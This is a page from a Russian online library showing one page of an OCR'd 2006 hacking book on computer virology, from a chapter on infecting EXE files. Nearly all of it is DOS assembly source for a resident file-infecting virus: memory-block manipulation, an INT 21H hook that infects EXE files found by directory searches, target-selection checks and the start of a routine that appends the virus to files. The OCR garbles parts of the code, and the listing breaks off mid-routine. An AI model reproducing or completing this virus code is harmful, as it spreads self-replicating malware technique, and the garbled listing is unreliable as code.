Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 53 54 55 56 57 58 < 59 > 60 61 62 63 64 65 .. 123 >> Следующая

;нет места, выход с установленным с
mov ax.es ;ОК, можно использовать Z-блок
mov ds.ax ;устанавливаем ds = оригинальный Z-блок add ax.es: [bx+3] inc
ax ;ax = конец Z-блока sub ax,VIRUS_BLK_SIZE+i mov es.ax ;es = сегмент
нового блока xor di.di ;копируем его в новую локацию
xor si,si mov сх,8 rep movsw mov ax.es inc ax
mov WORD PTR es: [bx+3] ,VIRUS_BLK_SJZE ; подстраиваем размер
; нового Z-блока
mov WORD PTR es:[bx+1],ax {устанавливаем владелец = сам .вирус
mov BYTE PTR [bx],'M' ;изменить старый Z на M sub WORD PTR
[bx+3],VIRUS_BLK_SIZE+1 {подстроить размер mov di,5 {нулевой баланс
вирусного блока
mov сх,12 xor al.al rep stosb
push cs {восстановить ds=cs
pop ds
mov ax.es {инкрементировать es и {получить сегмент для вируса
inc ах
226
ГЛАВА 5. Инфекция ЕХЕ-файлов
mov es.ax clc EXIT_MCB: ret
Это перехватчик прерывания 21Н hook. Он активизируется, когда
инсталлируется с помощью INSTALLINTS. Подпрограмма захватывает функции
11Н и 12Н, а затем инфицирует все ЕХЕ-файлы, найденные этими функциями.
OLD_21 Н DD ? ;старый вектор прерывания 21Н
INT_21H:
cmp ah, 11Н ;008-функция Search First (найти первый) je SRCH_HOOK ;да,
перейти к выполнению перехвата cmp ah,12H je SRCH_HOOK GOLD:
jmp CWORD PTR cs: [OLD_21 H] ;выполняем оригинальный обработчик
прерывания 21Н
Это перехватчик функций Search First/Search Next, основанных на FCB.
SRCH_HOOK:
pushf ;вызываем оригинальный обработчик int 21Н
call DWORD PTR cs:[OLD_21 H]
or al.al ;вызов успешный?
jnz SEXIT ;нет, просто выйти
pushf
push ax дохранить регистры
push bx push cx
227
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
push dx push di push si push es push ds
mov ah,2FH -.получить адрес DTA в es:bx int 21H
cmp BYTE PTR es:[bx],0FFH jne SH1 расширенный FCB?
add bx,7 ;да, подстроить индекс
SH1:
cmp WORD PTR es:[bx+9],'XE'
jne EXIT_SRCH проверить ЕХЕ-файл
cmp BYTE PTR es:[bx+11],'E'
jne EXTT_SRCH ;если не EXE, вернуть контроль подпрограмме ;вызова
call FILE_OK ;годится для инфекции? jc EXIT_SRCH ;нет, просто выйти call
INFECT_FILE приступить к инфекции
EXIT_SRCH: pop ds pop es
pop si восстановить регистры
pop di
pop dx
pop cx
pop bx
pop ax
popf
228
ГЛАВА 5. Инфекция EXE-файлов
SEXIT: retf 2 ; возврат к первоначальной
подпрограмме вызова с ;текущими флагами
Функция определяет, годится ли ЕХЕ-файл, найденный подпрограммой поиска.
Если да, возврат со сброшенным с, в ином случае - с установкой с. Что
делает ЕХЕ-файл пригодным?
а) Поле сигнатуры в ЕХЕ-заголовке должно иметь 'MZ'. (Это первые два
байта в файле.)
б) Поле числа оверлеев в ЕХЕ-заголовке должно иметь ноль.
в) Это должен быть файл, написанный под DOS, а не под Windows или OS/2.
г) В таблице перемещений должно быть место в NUMRELS для нескольких
дополнительных перемещений без увеличения самой таблицы.
д) Первоначальный ip, сохраненный в ЕХЕ-заголовке, должен быть иным, чем
вирусный первоначальный ip. Если они одинаковы, то вирус, скорее всего,
уже находится в этом файле, и мы пропускаем его.
FILE_OK: push es pop ds
mov si.bx ;ds:si указывают на FCB inc si ;на имя файла в FCB push cs pop
es
mov di,OFFSET FNAME es:di указывает на буфер ;имени файла
mov сх,8 количество байтов в имени файла
F01:
lodsb
stosb
cmp al,20H je F02
229
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
loop F01 inc di F02:
mov BYTE PTR es:[di-1],7
mov ax,*XE
stosw
mov ax.'E' stosw
push cs
pop ds ;cs, ds и es указывают сюда mov dx,OFFSET FNAME mov ax,3002H
;открываем файл с доступом чтения/записи ;(с помощью) дескриптора int 21Н
jc OK_END1 ;ошибка при открытии-выход без закрытия
mov Ьх.ах ; помещаем дескриптор в Ьх и оставляем ;Ьх в покое
mov сх, 1СН ;читаем 28 байт заголовка ЕХЕ-файла mov dx,OFFSET EXE HDR ;в
этом буфере mov ah,3FH ;для проверки и модификации int 21Н
jc OK_END ;ошибка при чтении файла, выход
cmp WORD PTR [EXE_HDR],'ZM' ;проверка сигнатуры EXE: MZ
jnz OK_END ;закрыть и выйти, если нет
cmp WORD PTR [EXE_HDR+26],0 ;проверка числа оверлеев
jnz OK_END ;не 0 - выход с установкой с
cmp WORD PTR [EXE_HDR+24],40H ггаблица перемещений в офсете
;40Н или больше?
jne OK_END ;да, это не DOS EXE, поэтому
; пропускаем его
230
ГЛАВА 5. Инфекция ЕХЕ-файлов
cmp WORD PTR [EXE HDR+14Н].OFFSETYELLOW WORM ;смотрим,
;равен ли первоначальный ip = clc {первоначальному ip вируса jne OK_END1
;если все ОК, оставляем файл открытым OK_END:
mov ah,3EH ;в ином случае закрываем файл int 21Н
stc {установка переноса, чтобы показать непригодность файла OK_END1:
ret {возврат с установленным флагом с
Эта подпрограмма передвигает вирус (эту программу) в конец ЕХЕ-файла. Она
просто копирует туда все, что имеется здесь, а затем подстраивает
заголовок ЕХЕ-файла. Она также обеспечивает начало вируса с границы
параграфов и добавляет столько байтов, сколько потребуется.
INFECT.FILE:
mov ах,4202Н ;ищем конец файла, чтобы определить размер хог сх.сх xor
dx.dx int 21Н
mov [FSIZE],ax {сохраняем его здесь mov [FSIZE+2],dx
mov cx,WORD PTR [Р8ЕЕ^2);под гоняем длину границы параграфов
Предыдущая << 1 .. 53 54 55 56 57 58 < 59 > 60 61 62 63 64 65 .. 123 >> Следующая